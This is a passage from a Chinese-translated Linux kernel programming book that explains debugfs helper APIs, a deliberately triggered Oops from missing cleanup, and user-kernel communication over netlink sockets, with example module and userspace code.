   /* As an experiment, we set our 'config3' member of the drv ctx stucture
    * to the current 'jiffies' value (# of timer interrupts since boot);
    * so, every time we 'cat' this file, the 'config3' value should change!
    */
   data->config3 = jiffies;
   snprintf(locbuf, MAXUPASS - 1,
            "prodname:%s\n"
            "tx:%d,rx:%d,err:%d,myword:%d,power:%d\n"
            "config1:0x%x,config2:0x%x,config3:0x%llx (%llu)\n"
            "oursecret:%s\n",
            OURMODNAME,
            data->tx, data->rx, data->err, data->myword, data->power,
            data->config1, data->config2, data->config3, data->config3,
            data->oursecret);

    mutex_unlock(&mtx);
    return simple_read_from_buffer(ubuf, MAXUPASS, fpos, locbuf,
                                   strlen(locbuf));
}

请注意,我们通过解引用 debugfs 文件的 inode 成员i_private来检索“data”指针(我们的驱动程序上下文结构)。

正如我们在第一章中提到的,编写一个简单的杂项字符设备驱动程序,使用data指针从文件的 inode 中解引用驱动程序上下文结构是驱动程序作者为避免使用全局变量而采用的一种类似的常见技术之一。在这里,gdrvctx 一个全局变量,所以这是一个无关紧要的问题;我们只是用它来演示典型的用例。

使用snprintf()API,我们可以用当前驱动程序“上下文”结构的内容填充一个本地缓冲区,然后通过simple_read_from_buffer()API 将其传递给发出读取的用户空间应用程序,通常会导致它显示在终端/控制台窗口上。这simple_read_from_buffer()API 是copy_to_user()的一个包装器。

让我们试一试:

$ ../../lkm debugfs_simple_intf
[...]
[200221.725752] dbgfs_simple_intf: allocated and init the driver context structure
[200221.728158] dbgfs_simple_intf: debugfs file 1 <debugfs_mountpt>/dbgfs_simple_intf/llkd_dbgfs_show_drvctx created
[200221.732167] dbgfs_simple_intf: debugfs file 2 <debugfs_mountpt>/dbgfs_simple_intf/llkd_dbgfs_debug_level created
[200221.735723] dbgfs_simple_intf initialized

正如我们所看到的,两个 debugfs 文件都如预期地创建了;让我们验证一下(这里要小心;你只能以root身份查看 debugfs):

$ ls -l /sys/kernel/debug/dbgfs_simple_intf
ls: cannot access '/sys/kernel/debug/dbgfs_simple_intf': Permission denied
$ sudo ls -l /sys/kernel/debug/dbgfs_simple_intf
total 0
-rw-r--r-- 1 root root 0 Feb  7 15:58 llkd_dbgfs_debug_level
-r--r----- 1 root root 0 Feb  7 15:58 llkd_dbgfs_show_drvctx
$

伪文件已创建并具有正确的权限。现在,让我们从llkd_dbgfs_show_drvctx文件中读取(作为 root 用户):

$ sudo cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_show_drvctx
prodname:dbgfs_simple_intf
tx:0,rx:0,err:0,myword:0,power:1
config1:0x0,config2:0x48524a5f,config3:0x102fbcbc2 (4345023426)
oursecret:AhA yyy
$

它有效;几秒钟后再次进行读取。注意config3的值已经发生了变化。为什么?记得我们将它设置为jiffies值 - 自系统启动以来发生的定时器“滴答”/中断的数量:

$ sudo cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_show_drvctx | grep config3
config1:0x0,config2:0x48524a5f,config3:0x102fbe828 (4345030696)
$

创建并使用了第一个 debugfs 文件后,让我们了解第二个 debugfs 文件。

创建和使用第二个 debugfs 文件

让我们继续进行第二个 debugfs 文件。我们将使用一个有趣的快捷辅助 debugfs API,名为debugfs_create_u32()来创建它。这个 API自动设置内部回调,允许你在驱动程序中指定的无符号 32 位全局变量上进行读/写。这个“辅助”例程的主要优势在于,你不需要显式提供file_operations结构,甚至任何回调例程。debugfs 层“理解”并在内部设置事情,以便读取或写入数字(全局)变量总是有效的!看一下init代码路径中的以下代码,它创建并设置了我们的第二个 debugfs 文件:

static int debug_level;    /* 'off' (0) by default ... */ 
[...]
 /* 3\. Create the debugfs file for the debug_level global; we use the
    * helper routine to make it simple! There is a downside: we have no
    * chance to perform a validity check on the value being written.. */
#define DBGFS_FILE2     "llkd_dbgfs_debug_level"
   file2 = debugfs_create_u32(DBGFS_FILE2, 0644, gparent, &debug_level);
   [...]
   pr_debug("%s: debugfs file 2 <debugfs_mountpt>/%s/%s created\n",
             OURMODNAME, OURMODNAME, DBGFS_FILE2);

就是这么简单!现在,读取这个文件将产生debug_level的当前值;写入它将把它设置为写入的值。让我们来做这个:

$ sudo cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_debug_level
0
$ sudo sh -c "echo 5 > /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_debug_level"
$ sudo cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_debug_level
5
$ 

这样做是有效的,但这种“捷径”方法也有一个缺点:由于这一切都是在内部完成的,我们无法验证被写入的值。因此,在这里,我们将值5写入了debug_level;它有效,但是这是一个无效值(至少让我们假设是这样)!那么,如何纠正这个问题呢?简单:不要使用这种辅助方法;而是通过通用的debugfs_create_file()API 以“通常”的方式进行操作(就像我们为第一个 debugfs 文件所做的那样)。这里的优势在于,我们为读和写设置了显式的回调例程,通过在 fops 结构中指定它们,我们可以控制被写入的值(我把这个任务留给你作为练习)。就像生活一样,这是一个权衡;有得有失。

用于处理数字全局变量的辅助 debugfs API

你刚刚学会了如何使用debugfs_create_u32()辅助 API 来设置一个 debugfs 文件,以读/写一个无符号 32 位整数全局变量。事实上,debugfs 层提供了一堆类似的“辅助”API,用于隐式读/写模块内的数字(整数)全局变量。

用于创建可以读/写不同位大小的无符号整数(8 位、16 位、32 位和 64 位)全局变量的 debugfs 条目的辅助例程如下。最后一个参数是关键的 - 内核/模块中全局整数的地址:

// include/linux/debugfs.h
struct dentry *debugfs_create_u8(const char *name, umode_t mode,
                 struct dentry *parent, u8 *value);
struct dentry *debugfs_create_u16(const char *name, umode_t mode,
                 struct dentry *parent, u16 *value);
struct dentry *debugfs_create_u32(const char *name, umode_t mode,
                 struct dentry *parent, u32 *value);
struct dentry *debugfs_create_u64(const char *name, umode_t mode,
                 struct dentry *parent, u64 *value);

前面的 API 使用十进制基数;为了方便使用十六进制基数,我们有以下辅助程序:

struct dentry *debugfs_create_x8(const char *name, umode_t mode,
                 struct dentry *parent, u8 *value);
struct dentry *debugfs_create_x16(const char *name, umode_t mode,
                 struct dentry *parent, u16 *value);
struct dentry *debugfs_create_x32(const char *name, umode_t mode,
                 struct dentry *parent, u32 *value);
struct dentry *debugfs_create_x64(const char *name, umode_t mode,
                 struct dentry *parent, u64 *value);

另外,内核还为那些变量大小不确定的情况提供了一个辅助 API;因此,使用debugfs_create_size_t()辅助程序创建一个适用于size_t大小变量的 debugfs 文件。

对于那些只需要查看数字全局变量的驱动程序,或者在不担心无效值的情况下更新它的驱动程序,这些 debugfs 辅助 API 非常有用,实际上在主线内核中被几个驱动程序常用(我们很快将在 MMC 驱动程序中看到一个例子)。为了规避“有效性检查”问题,通常我们可以安排用户空间应用程序(或脚本)执行有效性检查;事实上,这通常是做事情的“正确方式”。

UNIX 范例有一句话:提供机制,而不是策略

当使用boolean类型的全局变量时,debugfs 提供以下辅助 API:

struct dentry *debugfs_create_bool(const char *name, umode_t mode,
                  struct dentry *parent, bool *value);

从“文件”中读取将只返回YN(后面跟着一个换行符);显然,如果第四个value参数的当前值非零,则返回Y,否则返回N。在写入时,可以写入YN10;其他值将不被接受。

想想看:你可以通过写入1到一个名为power的布尔变量来通过你的“机器人”设备控制你的“机器人”设备驱动程序,以打开它,并使用0来关闭它!可能性是无穷无尽的。

debugfs 的内核文档提供了一些其他杂项 API;我留给你去看一看。现在我们已经介绍了如何创建和使用我们的演示 debugfs 伪文件,让我们学习如何删除它们。

删除 debugfs 伪文件(s)

当模块被移除(比如通过rmmod(8)),我们必须删除我们的 debugfs 文件。以前的做法是通过debugfs_remove() API,每个 debugfs 文件都必须单独删除(至少可以说是痛苦的)。现代方法使这变得非常简单:

void debugfs_remove_recursive(struct dentry *dentry);

传递指向整个“父”目录的指针(我们首先创建的那个),整个分支将被递归地删除;完美。

在这一点上不删除你的 debugfs 文件,因此将它们留在文件系统中处于孤立状态,这是在自找麻烦!想想看:当有人(试图)以后读取或写入它们时会发生什么?一个内核 bug,或者一个Oops,就是这样。

看到一个内核 bug - 一个 Oops!

让我们让它发生 - 一个内核 bug!激动人心,是吧!?

好的,要创建一个内核 bug,我们必须确保当我们移除(卸载)内核模块时,清理(删除)所有 debugfs 文件的 API,debugfs_remove_recursive()被调用。因此,每次移除模块后,我们的 debugfs 目录和文件似乎仍然存在!但是,如果你尝试对它们中的任何一个进行操作 - 读/写 - 它们将处于孤立状态,因此,在尝试取消引用其元数据时,内部 debugfs 代码路径将执行无效的内存引用,导致(内核级)bug。

在内核空间中,bug 确实是一件非常严重的事情;理论上,它永远不应该发生!这就是所谓的Oops;作为处理这个问题的一部分,将调用一个内部内核函数,通过printk将有用的诊断信息转储到内存中的内核日志缓冲区,以及控制台设备(在生产系统上,它也可能被定向到其他地方,以便以后可以检索和调查;例如,通过内核的kdump机制)。

让我们引入一个模块参数,控制我们是否(故意)导致Oops发生或不发生:

// ch2/debugfs_simple_intf/debugfs_simple_intf.c
[...]
/* Module parameters */
static int cause_an_oops;
module_param(cause_an_oops, int, 0644);
MODULE_PARM_DESC(cause_an_oops,
"Setting this to 1 can cause a kernel bug, an Oops; if 1, we do NOT perform required cleanup! so, after removal, any op on the debugfs files will cause an Oops! (default is 0, no bug)");

在我们的驱动程序的清理代码路径中,我们检查cause_an_oops变量是否非零,并故意(递归地)删除我们的 debugfs 文件,从而设置 bug:

static void debugfs_simple_intf_cleanup(void)
{
        kfree(gdrvctx);
        if (!cause_an_oops)
 debugfs_remove_recursive(gparent);
        pr_info("%s removed\n", OURMODNAME);
}

当我们“正常”使用insmod(8)时,默认情况下,可怕的cause_an_oops模块参数为0,从而确保一切正常工作。但让我们冒险一下!我们正在构建内核模块,当我们插入它时,我们必须传递参数并将其设置为1(请注意,这里我们在我们的自定义5.4.0-llkd01内核上的 x86_64 Ubuntu 18.04 LTS 客户系统上以root身份运行):

# id
uid=0(root) gid=0(root) groups=0(root)
# insmod ./debugfs_simple_intf.ko cause_an_oops=1
# cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_debug_level
0
# dmesg 
[ 2061.048140] dbgfs_simple_intf: allocated and init the driver context structure
[ 2061.050690] dbgfs_simple_intf: debugfs file 1 <debugfs_mountpt>/dbgfs_simple_intf/llkd_dbgfs_show_drvctx created
[ 2061.053638] dbgfs_simple_intf: debugfs file 2 <debugfs_mountpt>/dbgfs_simple_intf/llkd_dbgfs_debug_level created
[ 2061.057089] dbgfs_simple_intf initialized (fyi, our 'cause an Oops' setting is currently On)
# 

现在,让我们移除内核模块 - 在内部,用于清理(递归删除)我们的 debugfs 文件的代码不会运行。在这里,我们实际上是通过尝试读取我们的 debugfs 文件来触发内核 bug,Oops

# rmmod debugfs_simple_intf
# cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_debug_level 
Killed

控制台上的Killed消息是不祥的!这是一个暗示,表明出了(严重的)问题。查看内核日志确认我们确实遇到了Oops!以下(部分裁剪的)屏幕截图显示了这一点:

图 2.4 - 内核 Oops 的部分屏幕截图,内核级 bug

由于提供的内核调试详细信息超出了本书的范围,我们将不在此深入讨论。尽管如此,了解一点是相当直观的。仔细看前面的屏幕截图:在BUG:语句中,您可以看到导致 bug 的内核虚拟地址kva),称为 Oops(我们在配套指南Linux 内核编程-第七章,内存管理内部基础知识中介绍了 kva 空间;这对于驱动程序作者来说是非常关键的信息):

CPU: 1 PID: 4673 Comm: cat Tainted: G OE 5.4.0-llkd01 #2

这显示了 CPU(1)上正在运行的进程上下文(cat),被污染的标志和内核版本。输出中真正关键的一部分是:

RIP: 0010:debugfs_u32_get+0x5/0x20

这告诉你 CPU 指令指针(x86_64 上名为 RIP 的寄存器)在debugfs_u32_get()函数中,距离函数的机器码开始处的偏移量为0x5字节(此外,内核还计算出函数的长度为0x20字节)!

将这些信息与objdump(1)addr2line(1)等强大工具结合使用,可以帮助准确定位代码中的 bug 的位置!

CPU 寄存器被转储;更好的是,调用跟踪调用堆栈 - 进程上下文的内核模式堆栈的内容(请参阅Linux 内核编程第六章内核内部基础知识,进程和线程,了解有关内核堆栈的详细信息)- 显示了导致此时刻的代码;也就是说,崩溃(从下到上读取堆栈跟踪)。另一个快速提示:如果调用跟踪输出中的内核函数前面有一个?符号,只需忽略它(这可能是之前留下的“闪烁”)。

实际上,生产系统上的内核 bug 必须 导致整个系统恐慌(停机)。在非生产系统上(就像我们正在运行的那样),可能会发生内核恐慌,也可能不会;在这里,没有。尽管如此,内核 bug 必须以最高级别的严重性对待,它确实是一个停机故障,必须修复。大多数发行版将 procfs 文件/proc/sys/kernel/panic_on_oops设置为0,但在生产系统上,它通常会设置为值1

这里的道义很明显:debugfs 没有自动清理;我们必须自己清理。好了,让我们通过查找内核中的一些实际使用情况来结束对 debugfs 的讨论。

Debugfs - 实际用户

正如我们之前提到的,debugfs API 有几个“真实世界”的用户;我们能找到其中一些吗?好吧,有一种方法:只需在内核源树的drivers/目录下搜索名为*debugfs*.c的文件;您可能会感到惊讶(我在 5.4.0 内核树中找到了 114 个这样的文件!)。让我们看看其中的一些:

$ cd <kernel-source-tree> ; find drivers/ -iname "*debugfs*.c" 
drivers/block/drbd/drbd_debugfs.c
drivers/mmc/core/debugfs.c
drivers/platform/x86/intel_telemetry_debugfs.c
[...]
drivers/infiniband/hw/qib/qib_debugfs.c
drivers/infiniband/hw/hfi1/debugfs.c
[...]
drivers/media/usb/uvc/uvc_debugfs.c
drivers/acpi/debugfs.c
drivers/net/wireless/mediatek/mt76/debugfs.c
[...]
drivers/net/wireless/intel/iwlwifi/mvm/debugfs-vif.c
drivers/net/wimax/i2400m/debugfs.c
drivers/net/ethernet/broadcom/bnxt/bnxt_debugfs.c
drivers/net/ethernet/marvell/mvpp2/mvpp2_debugfs.c
drivers/net/ethernet/mellanox/mlx5/core/debugfs.c
[...]
drivers/misc/genwqe/card_debugfs.c
drivers/misc/mei/debugfs.c
drivers/misc/cxl/debugfs.c
[...]
drivers/usb/mtu3/mtu3_debugfs.c
drivers/sh/intc/virq-debugfs.c
drivers/soundwire/debugfs.c
[...]
drivers/crypto/ccree/cc_debugfs.c

看看(其中一些)它们;它们的代码公开了 debugfs 接口。这并不总是为了纯粹的调试目的;许多 debugfs 文件用于实际生产用途!例如,MMC 驱动程序包含以下代码行,该代码行使用 debugfs“辅助”API 获取 x32 全局变量:

drivers/mmc/core/debugfs.c:mmc_add_card_debugfs():
debugfs_create_x32("state", S_IRUSR, root, &card->state);

这将创建一个名为state的 debugfs 文件,当读取时,会显示卡的“状态”。

好的,这完成了我们如何通过强大的 debugfs 框架与用户空间进行接口的覆盖。我们的演示 debugfs 驱动程序创建了一个 debugfs 目录和其中的两个 debugfs 伪文件;然后您学会了如何为它们设置和使用读取和写入回调处理程序。像debugfs_create_u32()这样的“快捷”API 也很强大。不仅如此,我们甚至设法生成了一个内核错误 - 一个 Oops!现在,让我们学习如何通过一种特殊类型的套接字进行通信,称为 netlink 套接字。

通过 netlink 套接字进行接口

在这里,您将学习如何使用一个熟悉且无处不在的网络抽象 - 套接字,来进行内核和用户空间的接口!熟悉网络应用程序编程的程序员对其优势赞不绝口。

熟悉使用 C/C++和套接字 API 的网络编程在这里有所帮助。请参阅进一步阅读部分,了解有关此主题的一些好教程。

使用套接字的优势

除其他外,套接字技术为我们提供了几个优势(相对于其他典型的用户模式 IPC 机制,如管道,SysV IPC/POSIX IPC 机制(消息队列,共享内存,信号量等)),如下:

  • 双向同时数据传输(全双工)。

  • 在互联网上是无损的,至少在某些传输层协议(如 TCP)上,当然,在本地主机上也是如此,这在这里是适用的。

  • 高速数据传输,尤其是在本地主机上!

  • 流量控制语义始终有效。

  • 异步通信;消息可以排队,因此发送方不必等待接收方。

  • 特别是关于我们的主题,在其他用户<->内核通信路径(如 procfs,sysfs,debugfs 和 ioctl)中,用户空间应用程序必须启动到内核空间的传输;使用 netlink 套接字,内核可以启动传输

  • 此外,到目前为止我们所见过的所有其他机制(procfs,sysfs 和 debugfs),散布在整个文件系统中的各种接口文件可能会导致内核命名空间污染;使用 netlink 套接字(顺便说一句,使用 ioctl 也是如此),情况并非如此,因为没有文件。

这些优势可能有所帮助,具体取决于您正在开发的产品类型。现在,让我们了解一下 netlink 套接字是什么。

那么,netlink 套接字是什么?我们将保持简单 - netlink 套接字是一个仅存在于 Linux OS 自 2.2 版本以来的“特殊”套接字系列。使用它,您可以在用户模式进程(或线程)和内核中的组件之间建立进程间通信IPC);在我们的情况下,通常是一个驱动程序的内核模块。

在许多方面类似于 UNIX 域数据报套接字;它是用于本地主机 通信,而不是跨系统。虽然 UNIX 域套接字使用路径名作为它们的命名空间(一个特殊的“套接字”文件),netlink 套接字使用 PID。从学究的角度来看,这是一个端口 ID 而不是进程 ID,尽管实际上,进程 ID 经常被用作命名空间。现代内核核心(除了驱动程序)在许多情况下使用 netlink 套接字 - 例如,iproute2 网络实用程序使用它来配置无线驱动程序。另一个有趣的例子是,udev 功能使用 netlink 套接字在内核 udev 实现和用户空间守护进程(udevd 或 systemd-udevd)之间进行通信,用于设备发现、设备节点供应等等。

在这里,我们将设计和实现一个简单的用户<->内核消息演示,使用 netlink 套接字。为此,我们将不得不编写两个程序(至少)——一个作为用户空间应用程序,发出基于套接字的系统调用,另一个作为内核空间组件(这里是内核模块)。我们将让用户空间进程向内核模块发送一个“消息”;内核模块应该接收并打印它(到内核日志缓冲区)。然后内核模块将回复给用户空间进程,该进程正阻塞在这个事件上。

因此,不再拖延,让我们开始编写一些使用 netlink 套接字的代码;我们将从用户空间应用程序开始。继续阅读!

按照以下步骤运行用户空间应用程序:

  1. 我们必须做的第一件事就是获得一个套接字。传统上,套接字被定义为通信的端点;因此,一对套接字形成一个连接。我们将使用socket(2)系统调用来执行此操作。它的签名是

int socket(int domain, int type, int protocol);

不详细讨论,这是我们要做的:

    • 我们将domain指定为特殊的PF_NETLINK家族的一部分,因此请求一个 netlink 套接字。
  • 使用原始套接字将type设置为SOCK_RAW(有效地跳过传输层)。

  • protocol是要使用的协议。由于我们使用原始套接字,协议留待我们或内核实现;让内核 netlink 代码执行这一点是正确的方法。在这里,我们使用一个未使用的协议号;即31

  1. 下一步是通过通常的bind(2)系统调用语义绑定套接字。首先,我们必须为此目的初始化一个 netlink 源socketaddr结构(在其中我们指定家族为 netlink,PID 值为调用进程的 PID(仅用于单播))。以下代码是前面提到的前两个步骤(为了清晰起见,我们不会在这里显示错误检查代码):
// ch2/netlink_simple_intf/userapp_netlink/netlink_userapp.c
#define NETLINK_MY_UNIT_PROTO        31
    // kernel netlink protocol # (registered by our kernel module)
#define NLSPACE 1024

[...] 
 /* 1\. Get ourselves an endpoint - a netlink socket! */
sd = socket(PF_NETLINK, SOCK_RAW, NETLINK_MY_UNIT_PROTO);
printf("%s:PID %d: netlink socket created\n", argv[0], getpid());

/* 2\. Setup the netlink source addr structure and bind it */
memset(&src_nl, 0, sizeof(src_nl));
src_nl.nl_family = AF_NETLINK;
/* Note carefully: nl_pid is NOT necessarily the PID of the sender process; it's actually 'port id' and can be any unique number */
src_nl.nl_pid = getpid();
src_nl.nl_groups = 0x0; // no multicast
bind(sd, (struct sockaddr *)&src_nl, sizeof(src_nl))
  1. 接下来,我们必须初始化一个 netlink“目标地址”结构。在这里,我们将 PID 成员设置为0,这是一个特殊值,表示目标是内核:
/* 3\. Setup the netlink destination addr structure */
memset(&dest_nl, 0, sizeof(dest_nl));
dest_nl.nl_family = AF_NETLINK;
dest_nl.nl_groups = 0x0; // no multicast
dest_nl.nl_pid = 0;      // destined for the kernel
  1. 接下来,我们必须分配和初始化一个 netlink“头”数据结构。除其他事项外,它指定了源 PID 和重要的是我们将传递给内核组件的数据“有效载荷”。在这里,我们正在使用辅助宏,如NLMSG_DATA()来指定 netlink 头结构内的正确数据位置:
/* 4\. Allocate and setup the netlink header (including the payload) */
nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(NLSPACE));
memset(nlhdr, 0, NLMSG_SPACE(NLSPACE));
nlhdr->nlmsg_len = NLMSG_SPACE(NLSPACE);
nlhdr->nlmsg_pid = getpid();
/* Setup the payload to transmit */
strncpy(NLMSG_DATA(nlhdr), thedata, strlen(thedata)+1);
  1. 接下来,必须初始化一个iovec结构以引用 netlink 头,并初始化一个msghdr数据结构以指向目标地址和iovec
/* 5\. Setup the iovec and ... */
memset(&iov, 0, sizeof(struct iovec));
iov.iov_base = (void *)nlhdr;
iov.iov_len = nlhdr->nlmsg_len;
[...]
/* ... now setup the message header structure */
memset(&msg, 0, sizeof(struct msghdr));
msg.msg_name = (void *)&dest_nl;   // dest addr
msg.msg_namelen = sizeof(dest_nl); // size of dest addr
msg.msg_iov = &iov;
msg.msg_iovlen = 1; // # elements in msg_iov
  1. 最后,消息通过sendmsg(2)系统调用发送(传输)(它接受套接字描述符和前面提到的msghdr结构作为参数):
/* 6\. Actually (finally!) send the message via sendmsg(2) */
nsent = sendmsg(sd, &msg, 0);
  1. 内核组件——一个内核模块,我们将很快讨论——现在应该通过其 netlink 套接字接收消息并显示消息的内容;我们安排它然后礼貌地回复。为了抓取回复,我们的用户空间应用现在必须在套接字上执行阻塞读取:
/* 7\. Block on incoming msg from the kernel-space netlink component */
printf("%s: now blocking on kernel netlink msg via recvmsg() ...\n", argv[0]);
nrecv = recvmsg(sd, &msg, 0);

我们必须使用recvmsg(2)系统调用来执行此操作。当它被解除阻塞时,它说明消息已被接收。

为什么数据结构需要这么多的抽象和封装?嗯,这通常是事物演变的方式——msghdr结构被创建是为了让sendmsg(2)API 使用更少的参数。但这意味着参数必须放在某个地方;它们深深地嵌入在msghdr中,指向目标地址和ioveciovecbase成员指向 netlink 头结构,其中包含有效载荷!哇。

作为一个实验,如果我们过早地构建和运行用户模式 netlink 应用程序,没有内核端的代码,会发生什么?当然会失败...但是具体是如何失败的呢?好吧,采用经验主义的方法。通过尝试使用受人尊敬的strace(1)实用程序,我们可以看到socket(2)系统调用返回失败,原因是协议不受支持

$ strace -e trace=network ./netlink_userapp
socket(AF_NETLINK, SOCK_RAW, 0x1f /* NETLINK_??? */) = -1 EPROTONOSUPPORT (Protocol not supported)
netlink_u: netlink socket creation failed: Protocol not supported
+++ exited with 1 +++
$

这是正确的;内核中还没有协议号 3131 = 0x1f,我们正在使用的协议号)!我们还没有做到这一点。所以,这是用户空间的情况。现在,让我们完成拼图,让它真正起作用!我们将通过查看内核组件(模块/驱动程序)的编写方式来完成这一点。

内核为 netlink 提供了基础架构,包括 API 和数据结构;所有所需的都已导出,因此作为模块作者,这些都对您可用。我们使用其中的几个;编程内核 netlink 组件(我们的内核模块)的步骤在这里概述:

  1. 就像用户空间应用程序一样,我们必须首先获取 netlink 套接字。内核 API 是netlink_kernel_create(),其签名如下:
struct sock * netlink_kernel_create(struct net *, int , struct netlink_kernel_cfg *);

第一个参数是一个通用网络结构;我们在这里传递内核现有和有效的init_net结构。第二个参数是要使用的协议号(单位);我们将指定与用户空间应用程序相同的数字(31)。第三个参数是指向(可选)netlink 配置结构的指针;在这里,我们只将输入成员设置为我们的函数的空值。当用户空间进程(或线程)向内核 netlink 组件提供任何输入(即传输某些内容)时,将调用此函数。因此,在我们的内核模块的init例程中,我们有以下内容:

// ch2/netlink_simple_intf/kernelspace_netlink/netlink_simple_intf.c
#define OURMODNAME               "netlink_simple_intf"
#define NETLINK_MY_UNIT_PROTO    31 
    // kernel netlink protocol # that we're registering
static struct sock *nlsock;
[...]
static struct netlink_kernel_cfg nl_kernel_cfg = { 
    .input = netlink_recv_and_reply,
};
[...]
nlsock = netlink_kernel_create(&init_net, NETLINK_MY_UNIT_PROTO,
            &nl_kernel_cfg);
  1. 正如我们之前提到的,当用户空间进程(或线程)向我们的内核(netlink)模块或驱动程序提供任何输入(即传输某些内容)时,将调用回调函数。重要的是要理解它在进程上下文中运行,而不是任何一种中断上下文;我们使用我们的convenient.h:PRINT_CTX()宏来验证这一点(我们将在第四章中介绍这一点,处理硬件中断,在完全弄清上下文部分)。在这里,我们只是显示接收到的消息,然后通过向我们的用户空间对等进程发送一个示例消息来进行回复。从传递给我们的回调函数的套接字缓冲结构中检索到的来自我们的用户空间对等进程的数据有效载荷可以从其中的 netlink 头结构中检索到。您可以在这里看到如何检索数据和发送者 PID:
static void netlink_recv_and_reply(struct sk_buff *skb)
{
    struct nlmsghdr *nlh;
    struct sk_buff *skb_tx;
    char *reply = "Reply from kernel netlink";
    int pid, msgsz, stat;

    /* Find that this code runs in process context, the process
     * (or thread) being the one that issued the sendmsg(2) */
    PRINT_CTX();

    nlh = (struct nlmsghdr *)skb->data;
    pid = nlh->nlmsg_pid; /*pid of sending process */
    pr_info("%s: received from PID %d:\n"
        "\"%s\"\n", OURMODNAME, pid, (char *)NLMSG_DATA(nlh));

套接字缓冲数据结构 - struct sk_buff - 被认为是 Linux 内核网络协议栈中的关键数据结构。它包含有关网络数据包的所有元数据,包括对它的动态指针。它必须快速分配和释放(特别是当网络代码在中断上下文中运行时);这确实是可能的,因为它在内核的 slab(SLUB)缓存上(有关内核 slab 分配器的详细信息,请参见配套指南Linux 内核编程第七章内存管理内部 - 基础知识第八章模块作者的内核内存分配 - 第一部分,以及第九章模块作者的内核内存分配 - 第二部分)。

现在,我们需要了解,我们可以通过首先取消引用传递给我们的回调例程的套接字缓冲(skb)结构的data成员来检索网络数据包的有效载荷!接下来,这个data成员实际上是由我们的用户空间对等方设置的 netlink 消息头结构的指针。然后,我们取消引用它以获取实际的有效载荷。

  1. 现在我们想要“回复”我们的用户空间对等进程;这涉及执行一些操作。首先,我们必须使用nlmsg_new() API 分配一个新的 netlink 消息,这实际上是对alloc_skb()的一个薄包装,通过nlmsg_put() API 将 netlink 消息添加到刚分配的套接字缓冲区中,然后使用适当的宏(nlmsg_data())将数据(有效载荷)复制到 netlink 头中:
    //--- Let's be polite and reply
    msgsz = strlen(reply);
    skb_tx = nlmsg_new(msgsz, 0);
    [...]
    // Setup the payload
    nlh = nlmsg_put(skb_tx, 0, 0, NLMSG_DONE, msgsz, 0);
    NETLINK_CB(skb_tx).dst_group = 0; /* unicast only (cb is the
        * skb's control buffer), dest group 0 => unicast */
    strncpy(nlmsg_data(nlh), reply, msgsz);
  1. 我们通过nlmsg_unicast() API 将回复发送给我们的用户空间对等进程(甚至可以进行 netlink 消息的多播):
    // Send it
    stat = nlmsg_unicast(nlsock, skb_tx, pid);
  1. 这只留下了清理工作(当内核模块被移除时调用);netlink_kernel_release() API 实际上是netlink_kernel_create()的反向操作,它清理 netlink 套接字,关闭它:
static void __exit netlink_simple_intf_exit(void)
{
    netlink_kernel_release(nlsock);
    pr_info("%s: removed\n", OURMODNAME);
}

现在我们已经编写了用户空间应用程序和内核模块,以通过 netlink 套接字进行接口,让我们实际尝试一下!

是时候验证一切是否如广告所述。让我们开始吧:

  1. 首先,构建并将内核模块插入内核内存:

我们的lkm便利脚本可以轻松完成这项工作;这个会话是在我们熟悉的 x86_64 客户端 VM 上进行的,运行的是 Ubuntu 18.04 LTS 和自定义的 5.4.0 Linux 内核。

$ cd <booksrc>/ch2/netlink_simple_intf/kernelspace_netlink $ ../../../lkm netlink_simple_intf
Version info:
Distro:     Ubuntu 18.04.4 LTS
Kernel: 5.4.0-llkd01
[...]
make || exit 1
[...] Building for: KREL=5.4.0-llkd01 ARCH=x86 CROSS_COMPILE= EXTRA_CFLAGS= -DDEBUG
  CC [M]  /home/llkd/booksrc/ch13/netlink_simple_intf/kernelspace_netlink/netlink_simple_intf.o
[...]
sudo insmod ./netlink_simple_intf.ko && lsmod|grep netlink_simple_intf
------------------------------
netlink_simple_intf    16384  0
[...]
[58155.082713] netlink_simple_intf: creating kernel netlink socket
[58155.084445] netlink_simple_intf: inserted
$ 
  1. 有了这些,它已经加载并准备好了。接下来,我们将构建并尝试我们的用户空间应用程序:
$ cd ../userapp_netlink/
$ make netlink_userapp
[...] 

这导致了以下输出:

图 2.5 - 屏幕截图显示用户<->内核通过我们的示例 netlink 套接字代码进行通信

它起作用了;内核 netlink 模块接收并显示了从用户空间进程(PID 7813)发送给它的消息。然后内核模块以自己的消息回复给它的用户空间对等体,成功接收并显示它(通过printf())。你也试试看。完成后,不要忘记使用sudo rmmod netlink_simple_intf删除内核模块。

另外:内核中存在一个连接器驱动程序。它的目的是简化基于 netlink 的通信的开发,使内核和用户空间开发人员都能更简单地设置和使用基于 netlink 的通信接口。我们不会在这里深入讨论;请参考内核中的文档(elixir.bootlin.com/linux/v5.4/source/Documentation/driver-api/connector.rst)。内核源树中还提供了一些示例代码(在samples/connector中)。

有了这些,您已经学会了如何通过强大的 netlink 套接字机制在用户模式应用程序和内核组件之间进行接口。正如我们之前提到的,它在内核树中有几个实际用例。现在,让我们继续并涵盖另一种用户-内核接口方法,通过流行的ioctl(2)系统调用。

通过 ioctl 系统调用进行接口

ioctl是一个系统调用;为什么有个滑稽的名字ioctl?它是输入输出控制的缩写。虽然读取和写入系统调用(以及其他调用)用于有效地从设备(或文件;记住 UNIX 范式如果不是进程,就是文件!)传输数据,但ioctl系统调用用于向设备(通过其驱动程序)发出 命令。例如,更改控制台设备的终端特性,格式化时向磁盘写入轨道,向步进电机发送控制命令,控制摄像头或音频设备等,都是发送命令给设备的实例。

让我们考虑一个虚构的例子。我们有一个设备,并为其开发了一个(字符)设备驱动程序。该设备有各种寄存器,通常是设备上的小型硬件内存,例如 8 位、16 位或 32 位 - 其中一些是控制寄存器。通过适当地对它们进行 I/O(读取和写入),我们控制设备(好吧,这确实是整个重点,不是吗;有关使用硬件内存和设备寄存器的详细工作细节将在下一章中介绍)。那么,作为驱动程序作者,您将如何与希望在此设备上执行各种控制操作的用户空间程序进行通信或接口?我们通常会设计用户空间 C(或 C++)程序,通过对设备文件执行open(2)来打开设备,并随后发出读取和写入系统调用。

